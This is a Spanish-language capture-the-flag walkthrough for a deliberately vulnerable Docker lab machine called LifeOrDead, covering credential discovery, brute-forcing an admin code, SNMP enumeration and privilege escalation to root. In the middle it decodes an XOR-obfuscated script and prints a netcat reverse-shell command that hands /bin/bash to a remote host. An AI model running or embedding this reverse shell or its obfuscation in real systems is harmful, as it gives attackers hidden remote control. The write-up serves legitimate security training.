CTF LifeOrDead Hard

URL Download CTF = https://drive.google.com/file/d/1qliGzizfQxsTvoG2BfPxDapDCMw4y6T0/view?usp=sharing

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip lifeordead.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_run.sh lifeordead.tar

Info:

██████╗ ██╗    ██╗███╗   ██╗██████╗ ██████╗ ██╗
██╔══██╗██║    ██║████╗  ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║  ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║  ██║╚═╝
██║     ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝ ╚═════╝ ╚═╝

          ==                           
         @+:@ @##@                     
          @++:-----+@ @@#+:----:+#     
           #-+-----:+:---------:       
            *::-----++-----::::#       
             ::------+:--------:       
             #-+------+:-::-----#@     
              *::+=@@#++-------::@     
              @+=     @++::+#@@@#*#    
               #-@                     
                *+#++@                 
               +-:::+-@                
               :-:+:::+                
              @+::*::::                
             *::++-::*                 
          =:--:-:++ @-#                
      #*:---:--++@   @@                
      @::-:--++*                       
       @::-:++#                        
         *++*                          

 :: Plataforma de máquinas vulnerables ::
 :: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::

 █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
 █           FLAG{Pwn3d!_is_awesome!}            █
 █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█


[✔] bc ya está instalado.

[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual      
[✔] Activando máquina virtual      

[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

Info:

Si vemos la pagina del puerto 80 vemos que es una pagina normal de apache2, que si inspeccionamos la pagina el codigo, vemos algo raro en el CSS viendo lo siguiente:

Y despues en la siguiente parte vemos un nombre que no viene por defecto en apache2 que es lo siguiente:

Vemos que tenemos el nombre de admin y despues lo que parece una contraseña codificada en Base64, que si la decodificamos veremos lo siguiente:

Si bajamos un poco mas en el codigo, veremos un dominio el cual probaremos a entrar con el:

Haremos lo siguiente:

Guardamos y ponemos lo siguiente en la URL.

Veremos un login, pero recordemos que obtuvimos unas credenciales las cuales probaremos a meter en el login:

Y veremos que entramos en una especie de Admin panel en el que tendremos que meter un codigo para identificarnos como el usuario administrador, pero como no lo sabemos podemos probar fuerza bruta, tambien tenemos que ver que tenemos 10 intentos y pasados dichos intentos se nos bloqueara unos 30 segundos hasta poder obtener 10 intentos mas, por lo que nos montaremos un script con todas estas caracteristicas.

Pero tendremos que poner la URL donde se esta validando todo esto del codigo y si inspeccionamos el codigo de la pagina, veremos que se esta validando en este .php que esta en el javascript:

Fuerza bruta del codigo admin

bruteForceCode.py

Lo guardamos y ejecutamos de la siguiente forma:

Info:

Vemos que despues de un rato encontramos el codigo que sera el 0081, el cual si lo introducimos veremos que entramos en una pagina la cual nos muestra una clave secreta que tendremos que guardarnos y tendremos 60 segundos para poder guardarnosla.

Vemos que puede ser una posible contraseña para algun usuario del sistema, si enumeramos un poco mas en la pagina llamada pageadmincodelogin.html vemos que hay un nombre como comentario:

Escalate user dimer

Si intentamos crackear la contraseña de MD5, veremos que no podremos, pero si la utilizamos de normal con el propio hash veremos que pasa:

Metemos como contraseña bbb2c5e63d2ef893106fdd0d797aa97a y veremos que estamos dentro, por lo que leeremos la flag del usuario:

user.txt

Escalate user bilter

Si hacemos sudo -l veremos lo siguiente:

Vemos que podemos ejecutar /opt/life.sh como el usuario bilter, por lo que haremos lo siguiente:

Si vemos que tiene por dentro el script, veremos esto:

Vemos que esta ofuscado el codigo, gran parte en hexadecimal, pero si lo decodificamos veremos el codigo de la siguiente forma:

Paso 1: Comprensión de las variables v1 y v2

v1=$((0xCAFEBABE ^ 0xAC1100BA)) v2=$((0xDEADBEEF ^ 0x17B4))

  • v1: Se calcula haciendo una operación XOR entre los valores hexadecimales 0xCAFEBABE y 0xAC1100BA.

  • v2: Se calcula haciendo una operación XOR entre los valores hexadecimales 0xDEADBEEF y 0x17B4.

Cálculos:

  1. v1 = 0xCAFEBABE ^ 0xAC1100BA

    v1 = 0xCAFEBABE XOR 0xAC1100BA v1 = 0x669F1B04 (hexadecimal) v1 = 1720030212 (decimal)

  2. v2 = 0xDEADBEEF ^ 0x17B4

    v2 = 0xDEADBEEF XOR 0x17B4 v2 = 0xDEADA83B (hexadecimal) v2 = 3735921211 (decimal)


Paso 2: Reconstrucción de a y b

a=$((v1 ^ 0xCAFEBABE)) b=$((v2 ^ 0xDEADBEEF))

Se realiza otra operación XOR para invertir parcialmente los valores originales.

Cálculos:

  1. a = v1 ^ 0xCAFEBABE

    a = 0x669F1B04 XOR 0xCAFEBABE a = 0xAC1100BA (hexadecimal) a = 2886734778 (decimal)

  2. b = v2 ^ 0xDEADBEEF

    b = 0xDEADA83B XOR 0xDEADBEEF b = 0x000017B4 (hexadecimal) b = 6068 (decimal)


Paso 3: Convertir a a una dirección IP

c=$(printf "%d.%d.%d.%d" $(( (a >> 24) & 0xFF )) $(( (a >> 16) & 0xFF )) $(( (a >> 8) & 0xFF )) $(( a & 0xFF )))

  • Aquí se toma el valor a (2886734778) y se descompone en 4 bytes para formatearlo como una dirección IP.

Desglose de bytes:

  1. (a >> 24) & 0xFF → Byte más significativo (MSB): 0xAC = 172

  2. (a >> 16) & 0xFF → Segundo byte: 0x11 = 17

  3. (a >> 8) & 0xFF → Tercer byte: 0x00 = 0

  4. a & 0xFF → Byte menos significativo (LSB): 0xBA = 186

Resultado:

c = "172.17.0.186"


Paso 4: Usar b como puerto

d=$((b))

  • El valor de b ya está calculado: 6068. Este será el puerto para la conexión.


Paso 5: Configuración del comando final

e="nc" f="-e" g=$c h=$d $e $g $h $f /bin/bash &>/dev/null &

  • e="nc": Es el comando netcat, usado para establecer conexiones de red.

  • f="-e": La opción -e de netcat ejecuta un programa al recibir una conexión (en este caso, /bin/bash).

  • g=$c: Dirección IP objetivo (descompuesta previamente como 172.17.0.186).

  • h=$d: Puerto objetivo (descompuesto previamente como 6068).

Comando completo:

nc 172.17.0.186 6068 -e /bin/bash &>/dev/null &


Decodificación Completa

El script:

  1. Calcula la dirección IP y el puerto a partir de operaciones XOR.

  2. Usa netcat para conectarse a la IP 172.17.0.186 en el puerto 6068.

  3. Ejecuta /bin/bash para ofrecer una shell remota al atacante.

El codigo se veria algo parecido a esto:

Por lo que vemos esta ejecutando un nc para crear una shell a una IP y puerto en concreto, por lo que haremos lo siguiente:

En nuestro host añadiremos la IP que esta en el script de la siguiente forma:

Y una vez que ya hayamos añadido la IP, nos pondremos a la escucha con el siguiente puerto:

En la maquina victima ejecutamos lo siguiente:

Y ahora si volvemos a donde tenemos la escucha, veremos lo siguiente:

Vemos que somos dicho usuario.

Sanitización de shell (TTY)

Escalate user purter

Si hacemos sudo -l veremos lo siguiente:

Vemos que podemos ejecutar el script /usr/local/bin/dead.sh como el usuario root, por lo que haremos lo siguiente:

Vemos que no podemos leer el script, pero si lo ejecutamos vemos lo siguiente:

Info:

Y solo vemos este numero, podemos deducir que puede ser algun puerto que se haya levantado o algo parecido, vamos a comprobar si el puerto 161 esta levantado por TCP, pero veremos que no lo esta, por lo que probaremos por UDP y aqui veremos que si lo esta:

Info:

Vemos que efectivamente esta abierto, por lo que vamos a probar a ver si se puede enumerar con la siguiente herramienta.

Info:

Vemos que en la siguiente parte pone lo siguiente:

Vemos que es un cifrado en Base64, si lo decodificamos veremos lo siguiente:

Por lo que podremos intuir que la contraseña puede ser del usuario purter, por lo que haremos lo siguiente:

Metemos como contraseña imposiblepassworduserfinal y veremos que somos dicho usuario.

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Vemos que podemos ejecutar el script /home/purter/.script.sh como el usuario root, por lo que haremos lo siguiente.

Vemos que el script esta en nuestra home, por lo que podremos eliminarlo y poner con el mismo nombre el contenido que queramos de la siguiente forma:

Guardamos y lo ejecutamos de la siguiente forma:

Ahora si probamos a ver los permisos que tiene la bash veremos lo siguiente:

Info:

Vemos que se aplico de forma correcta el SUID a la bash, por lo que haremos lo siguiente:

Info:

Vemos que haciendo esto ya seremos root, por lo que leeremos la flag de root.

root.txt

Last updated